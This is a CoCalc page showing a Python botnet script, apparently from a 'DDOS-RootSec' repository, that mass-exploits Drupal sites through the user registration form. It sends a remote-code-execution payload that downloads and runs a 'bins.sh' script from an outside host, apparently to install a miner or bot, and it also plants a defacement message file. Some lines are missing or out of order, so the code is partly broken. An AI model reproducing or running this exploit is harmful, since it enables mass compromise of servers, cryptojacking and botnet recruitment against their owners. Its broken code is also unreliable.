Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Exploits/DRUPAL2/drupal2.py
5038 views
1
#!/usr/bin/env
2
import sys
3
import requests
4
import os
5
import base64
6
from multiprocessing.dummy import Pool
7
8
9
10
print ('##################################################')
11
print ('# DRUPAL2 EXPLOIT 90K BOTS #')
12
print ('##################################################')
13
14
15
16
sendMiner = True
17
sendMessage = True
18
19
verify = False
20
headers = {'User-Agent': 'Mozilla 5.0 | xJesterino Was Here | Shoutout to drought!'}
21
22
evil = "wget http://b4.ck.do.or/bins.sh; chmod +x bins.sh; ./bins.sh; rm -rf bins.sh"
23
messagePayload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo "xJesterino is a god. Shout out to Drought. All your devices are belong to us. | Follow us on twitter: @xJesterino @decayable | Guess who pissed in your cheerios?" | tee ReadMeCVE.txt'}
24
minerPayload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': ' '+evil+' '}
25
26
except IndexError:
27
exit('Usage: exploit.py list.txt threads')
28
29
30
def run(targetLine):
31
try:
32
try:
33
targetLine = 'http://'+targetLine+'/'
34
url = str(targetLine) + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
35
36
if sendMiner:
37
minerRequest = requests.post(url, data=minerPayload, verify=verify, headers=headers, timeout=5)
38
if sendMessage:
39
messageRequest = requests.post(url, data=messagePayload, verify=verify, headers=headers, timeout=5)
40
except requests.exceptions.RequestException as e:
41
pass
42
43
print ('[+] Attempting: '+targetLine);
44
45
except:
46
pass
47
48
49
try:
50
multiThreads = Pool(int(sys.argv[2]))
51
except IndexError:
52
exit('Usage: exploit.py list.txt threads')
53
multiThreads.map(run, target)
54
multiThreads.close()
55
multiThreads.join()
56
57
print("Finished File!")
58